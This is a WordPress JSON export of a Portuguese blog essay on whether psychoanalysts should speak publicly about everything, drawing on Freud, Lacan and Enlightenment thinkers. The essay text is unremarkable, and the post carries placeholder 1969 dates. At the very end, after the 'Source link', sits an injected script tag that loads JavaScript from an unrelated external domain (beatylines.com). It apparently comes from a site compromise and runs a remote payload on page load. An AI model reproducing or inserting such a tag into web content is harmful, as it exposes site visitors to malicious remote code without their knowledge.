{"id":2625,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/psicanalistas-podem-falar-de-tudo\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"psicanalistas-podem-falar-de-tudo","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/psicanalistas-podem-falar-de-tudo\/","title":{"rendered":"Psicanalistas podem falar de tudo?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Do que pode falar um psicanalista? A pergunta est\u00e1 acesa nas <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/\" target=\"_blank\" rel=\"noopener\">redes sociais<\/a> e no contexto dos desdobramentos da psican\u00e1lise no Brasil, no contexto da covid, das elei\u00e7\u00f5es vindouras e de modo mais ou menos permanente quando se considera a participa\u00e7\u00e3o dos psicanalistas em redes sociais e no espa\u00e7o p\u00fablico em geral. A pergunta faz c\u00f3cegas no identitarismo psicanal\u00edtico.<\/p>\n<p>Como n\u00e3o h\u00e1 institui\u00e7\u00e3o, ordem corporativa ou conselho que fale por todos, cada um fala por si, tendo os textos \u2014que ali\u00e1s s\u00e3o variados e extensos\u2014 como refer\u00eancia comum e p\u00fablica para o debate.<\/p>\n<p>Por isso proliferam cr\u00edticas que advogam que psicanalistas deveriam se abster de participar do debate p\u00fablico, porque isso afetaria a neutralidade dos tratamentos que conduzem, ou se mostrar isentos em mat\u00e9ria pol\u00edtica ou de opini\u00e3o.<\/p>\n<p>H\u00e1 v\u00e1rios riscos aqui: psicologiza\u00e7\u00e3o de quest\u00f5es coletivas, ocultamento de contradi\u00e7\u00f5es sociais, uso indevido de conceitos e diagn\u00f3sticos.<\/p>\n<p>Mas isso nos remeteria mais a qualidade dos argumentos e da exposi\u00e7\u00e3o, do que ao impedimento da tarefa.<\/p>\n<p>Aqui a resposta deveria ser a cr\u00edtica circunstanciada e n\u00e3o o veto.<\/p>\n<p>Certa vez Freud foi criticado por opinar sobre demasiados assuntos, da arte \u00e0 religi\u00e3o, da cultura \u00e0 educa\u00e7\u00e3o. Respondeu dizendo chistosamente: &#8220;eu n\u00e3o falo do clima, e o clima \u00e9 uma coisa muito importante&#8221;.<\/p>\n<p>Argumentar sobre o que pode ou n\u00e3o ser dito, tem um indisfar\u00e7\u00e1vel sabor normativo, quando n\u00e3o captura a sensibilidade dos que sentem que est\u00e3o falando em meu nome, sem minha permiss\u00e3o.<\/p>\n<p>Muitos s\u00e3o contra, mas n\u00e3o est\u00e3o dispostos a falar por si mesmos para contestar publicamente.<\/p>\n<p>Outros est\u00e3o dispostos a limitar os temas: pode falar disso, mas n\u00e3o daquilo.<\/p>\n<p>Outros ainda aceitam a &#8220;colher&#8221; psicanal\u00edtica desde que ela sirva para aspergir tolice ou preconceito.<\/p>\n<p>Por raz\u00f5es normativas, narc\u00edsicas ou epistemol\u00f3gicas muitos restringem tais interven\u00e7\u00f5es \u00e0 condi\u00e7\u00e3o de especialistas ou t\u00e9cnicos em saberes correlatos, como sa\u00fade mental, psicopatologia e psicologia.<\/p>\n<p>Nem tudo que um psicanalista diz ou faz, em p\u00fablico ou em privado, ele o faz referido \u00e0 psican\u00e1lise.<\/p>\n<p>N\u00e3o acredito num \u00fanico &#8220;modo anal\u00edtico&#8221; de dizer, de se vestir, de manifestar sentimentos e predile\u00e7\u00f5es, ainda que perceba modos n\u00e3o anal\u00edticos quando os encontro, ali\u00e1s fartamente na internet. Em geral n\u00e3o preciso invocar a \u00e9tica ou a etiqueta da psican\u00e1lise, \u00e9 s\u00f3 mau gosto identit\u00e1rio ou tolice sem argumentos mesmo.<\/p>\n<p>Muitos psicanalistas eram tamb\u00e9m professores como Freud, m\u00e9dicos engajados em situa\u00e7\u00f5es sociais como Winnicott ou Dolto, integrantes da pol\u00edtica de Estado como <a href=\"https:\/\/brasilescola.uol.com.br\/biografia\/sandor-ferenczi.htm\" target=\"_blank\" rel=\"noopener\">Ferenczi<\/a> ou militantes de causas sociais como Otto Fenichel ou Sabina Spielrein.<\/p>\n<p>Eram tamb\u00e9m o que se poderia chamar de intelectuais, fun\u00e7\u00e3o que varia muito no tempo e que respeita as condi\u00e7\u00f5es locais de seu exerc\u00edcio, mas que entendo responder a tr\u00eas crit\u00e9rios: participa\u00e7\u00e3o no debate p\u00fablico, n\u00e3o entrar em desacordo com a \u00e9tica, com epistemologia da psican\u00e1lise e a capacidade de falar fora de lugar, ou seja, para al\u00e9m da figura do especialista ou professor que domina uma \u00e1rea ou um tema.<\/p>\n<p>Quando psicanalistas falam em p\u00fablico n\u00e3o falam como delegados de institui\u00e7\u00f5es e comunidades \u00e0s quais pertencem, mas est\u00e3o indiretamente regulados por elas.<\/p>\n<p>Por vezes aqueles que acusam a psican\u00e1lise de elitismo, hierarquias piramidais e linguajar herm\u00e9tico s\u00e3o os mesmos que se refugiam em pseud\u00f4nimos, memes e cancelamentos. Duas atitudes que evitam &#8220;pagar a conta&#8221; pela pr\u00f3pria palavra empenhada. Convivem assim, pelos melhores e piores motivos, atra\u00e7\u00e3o e temor pelo espa\u00e7o p\u00fablico.<\/p>\n<p>O espa\u00e7o p\u00fablico \u00e9 necessariamente pol\u00edtico, nele a autoridade vertical do especialista tensiona-se com autoridade horizontal, daquele que fala para todos e com todos. Da\u00ed que seja poss\u00edvel falar de tudo que merece nosso interesse, traduzindo as no\u00e7\u00f5es de bem comum (<a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/aristoteles-o-mundo-da-experiencia-as-quatro-causas-etica-e-politica.htm\" target=\"_blank\" rel=\"noopener\">Arist\u00f3teles<\/a>), interesse p\u00fablico (<a href=\"https:\/\/educacao.uol.com.br\/biografias\/thomas-hobbes.htm\" target=\"_blank\" rel=\"noopener\">Hobbes<\/a> e <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/john-locke-e-o-empirismo-britanico-todo-conhecimento-provem-da-experiencia.htm\" target=\"_blank\" rel=\"noopener\">Locke<\/a>) ou vontade geral (<a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/jean-jacques-rousseau-1-o-contrato-social.htm\" target=\"_blank\" rel=\"noopener\">Rousseau<\/a>).<\/p>\n<p>Adicionalmente \u00e9 deste mesmo espa\u00e7o que esperamos alguma conten\u00e7\u00e3o e cr\u00edtica contra as tem\u00edveis inconsequ\u00eancias, abusos e manipula\u00e7\u00f5es indesej\u00e1veis que sua vers\u00e3o digital criou.<\/p>\n<p>A famosa exclus\u00e3o de Lacan pela Associa\u00e7\u00e3o Psicanal\u00edtica Internacional n\u00e3o deixou de ter que ver com a maneira como este ocupava o espa\u00e7o p\u00fablico. Semin\u00e1rios p\u00fablicos, onde seus analisantes conviviam com um p\u00fablico cada vez maior e cada vez mais diversos de m\u00e9dicos, fil\u00f3sofos, religiosos, cr\u00edticos liter\u00e1rios, marxistas, feministas e curiosos aleat\u00f3rios em geral.<\/p>\n<p>Sem falar na publica\u00e7\u00e3o de artigos explicitamente cr\u00edticos sobre a comunidade e as institui\u00e7\u00f5es psicanal\u00edticas de sua \u00e9poca. Acusado de dialogar com autores e ideias que nada tinham que ver com o debate interno da psican\u00e1lise, ele acabou sendo reconhecido como um intelectual p\u00fablico.<\/p>\n<p>Mas a Fran\u00e7a dos anos 1960 n\u00e3o \u00e9 o Brasil de 2020.<\/p>\n<p>Um dos tra\u00e7os da muta\u00e7\u00e3o brasileira da psican\u00e1lise, hoje reconhecida fartamente em outros pa\u00edses \u00e9 a participa\u00e7\u00e3o no espa\u00e7o p\u00fablico. \u00c9 o chamado &#8220;analista cidad\u00e3o&#8221; que dispensa as credenciais de intelectual ou especialista, para participar da conversa da polis ou da civitas.<\/p>\n<p>Mas isso significaria reproduzir a vis\u00e3o de mundo psicanal\u00edtica ao falar de tudo? Freud tem uma observa\u00e7\u00e3o a respeito:<\/p>\n<p><cite>Entendo que uma vis\u00e3o de mundo \u00e9 uma constru\u00e7\u00e3o intelectual que soluciona de maneira unit\u00e1ria todos os problemas de nossa exist\u00eancia a partir de uma hip\u00f3tese suprema: dentro dela, portanto, nenhuma quest\u00e3o permanece aberta e tudo que merece nosso interesse tem seu lugar preciso.&#8221;<\/cite> <strong>[1]<\/strong><\/p>\n<p>Chamo aten\u00e7\u00e3o aqui para a &#8220;unidade desta hip\u00f3tese suprema&#8221;, porque nada impede que a psican\u00e1lise seja posta exatamente neste lugar.<\/p>\n<p>Ora, o ant\u00eddoto \u00f3bvio aqui est\u00e1 na combina\u00e7\u00e3o com outros discursos. Evitar que tudo o que se diz, se murmura ou se suspira esteja referido \u00e0 psican\u00e1lise.<\/p>\n<p>O segundo ant\u00eddoto \u00e9 cuidar para que nem &#8220;tudo que merece interesse tem seu lugar preciso&#8221;, ou seja, &#8220;falar fora de lugar&#8221; e &#8220;desarrumar lugares&#8221;.<\/p>\n<p>Terceiro ant\u00eddoto: apresentar de forma leal e transparentes certas inclina\u00e7\u00f5es e os objetivos do que se pretende, justamente para evitar manipula\u00e7\u00e3o comercial, autopromo\u00e7\u00e3o e sugest\u00e3o em benef\u00edcio pr\u00f3prio.<\/p>\n<p>Muitos terapeutas empregam esta nova vers\u00e3o digital do espa\u00e7o p\u00fablico para tomar posi\u00e7\u00f5es e criar imagens que os favore\u00e7am na capta\u00e7\u00e3o de pacientes, na expans\u00e3o de legitimidade comunit\u00e1ria ou meramente na expans\u00e3o de suas virtudes narc\u00edsicas.<\/p>\n<p>Surgem tamb\u00e9m posi\u00e7\u00f5es agudas, extremadas, exageradamente estridentes feitas apenas para criar foco sobre si mesmo, e da\u00ed extrair os mesmos benef\u00edcios privados que se est\u00e1 a denunciar.<\/p>\n<p>Para lidar com esta possibilidade bastaria voltar ao mesmo texto de Freud:<\/p>\n<p><cite>Se este \u00e9 o car\u00e1ter de uma cosmovis\u00e3o, a resposta \u00e9 f\u00e1cil para a psican\u00e1lise. Como ci\u00eancia especial, um ramo da psicologia, &#8211; a psicologia do profundo ou psicologia do inconsciente &#8211; \u00e9 por completo inapta para formar uma <em>Weltanschauung <\/em>pr\u00f3pria, deve aceitar a da ci\u00eancia.&#8221;<\/cite> <strong>[2]<\/strong><\/p>\n<p>Ou seja, esta \u00e9 a forma como Freud entendia a participa\u00e7\u00e3o e a justifica\u00e7\u00e3o da psican\u00e1lise numa vis\u00e3o de mundo que a precede e na qual ela se inclui: a da ci\u00eancia.<\/p>\n<p>Isso n\u00e3o significa que ela mesma seja uma ci\u00eancia, mas que se inclui em sua vis\u00e3o de mundo baseada no uso livre da raz\u00e3o.<\/p>\n<p>Freud opunha esta vis\u00e3o de mundo \u00e0 cosmovis\u00e3o tanto das religi\u00f5es institu\u00eddas (&#8220;a luta do esp\u00edrito cient\u00edfico contra a vis\u00e3o de mundo religiosa n\u00e3o terminou &#8221; <strong>[3]<\/strong>) quanto do que ele chamava de animismo <strong>[4]<\/strong> apoiando-se para tanto no projeto de uma educa\u00e7\u00e3o laica e universalista expressa pelo fil\u00f3sofo <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/kant---teoria-do-conhecimento-a-sintese-entre-racionalismo-e-empirismo.htm\" target=\"_blank\" rel=\"noopener\">Imanuel Kant<\/a>.<\/p>\n<p>Lacan parece caminhar na mesma dire\u00e7\u00e3o ao lan\u00e7ar na contracapa de seu livro fundamental, os &#8220;Escritos&#8221;, a seguinte declara\u00e7\u00e3o:<\/p>\n<p><cite>\u00c9 preciso haver lido essa colet\u00e2nea, e em toda a sua extens\u00e3o, para perceber que nela prossegue um \u00fanico debate, sempre o mesmo, o qual, mesmo parecendo marcar \u00e9poca, pode ser visto como o debate das luzes. (&#8230;) O advento n\u00e3o pode se produzir a partir da\u00ed sen\u00e3o realmente em um lugar que no presente os psicanalistas ocupam.&#8221;<\/cite><strong> [5]<\/strong><\/p>\n<p>O debate das luzes \u00e9 o debate do <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/iluminismo-a-fe-na-razao-e-a-valorizacao-da-ciencia.htm\" target=\"_blank\" rel=\"noopener\">iluminismo<\/a>, da <em>Aufkl\u00e4rung<\/em>, da emancipa\u00e7\u00e3o e da maioridade da raz\u00e3o, contra o obscurantismo.<\/p>\n<p>\u00c9 o debate no qual est\u00e3o <a href=\"https:\/\/educacao.uol.com.br\/disciplinas\/filosofia\/rene-descartes-1-o-metodo-cartesiano-e-a-revolucao-na-historia-da-filosofia.htm\" target=\"_blank\" rel=\"noopener\">Descartes<\/a>, Kant e a ci\u00eancia \u00e0 \u00e9poca de Freud.<\/p>\n<p>Quase todos os termos da equa\u00e7\u00e3o freudiana sobre a vis\u00e3o de mundo se transformaram: a ci\u00eancia n\u00e3o \u00e9 mais a ci\u00eancia do s\u00e9culo 19, a psicologia n\u00e3o \u00e9 mais uma disciplina incipiente, a pr\u00f3pria psican\u00e1lise passou a fazer parte do mundo que pretendia criticar, a pr\u00f3pria ideia de vis\u00e3o unit\u00e1ria de mundo parece caducar, como res\u00edduo rom\u00e2ntico da forma de pensar.<\/p>\n<p>Mas em linhas gerais o programa pode ser mantido: a psican\u00e1lise pertence \u00e0 tradi\u00e7\u00e3o da cr\u00edtica do pensamento, ela n\u00e3o se contenta com a metaf\u00edsica tradicional, nem \u00e9 uma leitura universal de todas as coisas do mundo, muito menos a partir de uma \u00fanica ci\u00eancia.<\/p>\n<p>Aqueles psicanalistas que se contentam com uma \u00fanica hip\u00f3tese na cabe\u00e7a, que querem morar nos &#8220;piques&#8221; das discuss\u00f5es pol\u00edticas ou que abusam do excludente de ilicitude opinativo deveriam voltar para o s\u00e9culo 19, em vez de imaginar que j\u00e1 est\u00e3o nos s\u00e9culo 21.<\/p>\n<p><strong>REFER\u00caNCIAS<\/strong><\/p>\n<p><strong>[1] <\/strong>Freud, S. (1932) Novas Confer\u00eancias Introdut\u00f3rias a Psican\u00e1lise. Em torno de uma Vis\u00e3o de Mundo (Weltanschaung). <em>Sigmund Freud Obras Completas, V.XXII<\/em>. Amorrortu: Buenos Aires, 1988, p. 146.<strong> <\/strong><\/p>\n<p><strong>[2]<\/strong> Idem.<\/p>\n<p><strong>[3] <\/strong>Idem: 156.<\/p>\n<p><strong>[4]<\/strong> Idem: 152.<\/p>\n<p><strong>[5]<\/strong> Lacan, J. (1966) <em>Escritos<\/em>. Jorge Zahar: Rio de Janeiro, 1998.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/blog-do-dunker\/2022\/07\/21\/psicanalista-pode-falar-de-tudo-redes-sociais-debate-publico-psicanalise.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Do que pode falar um psicanalista? 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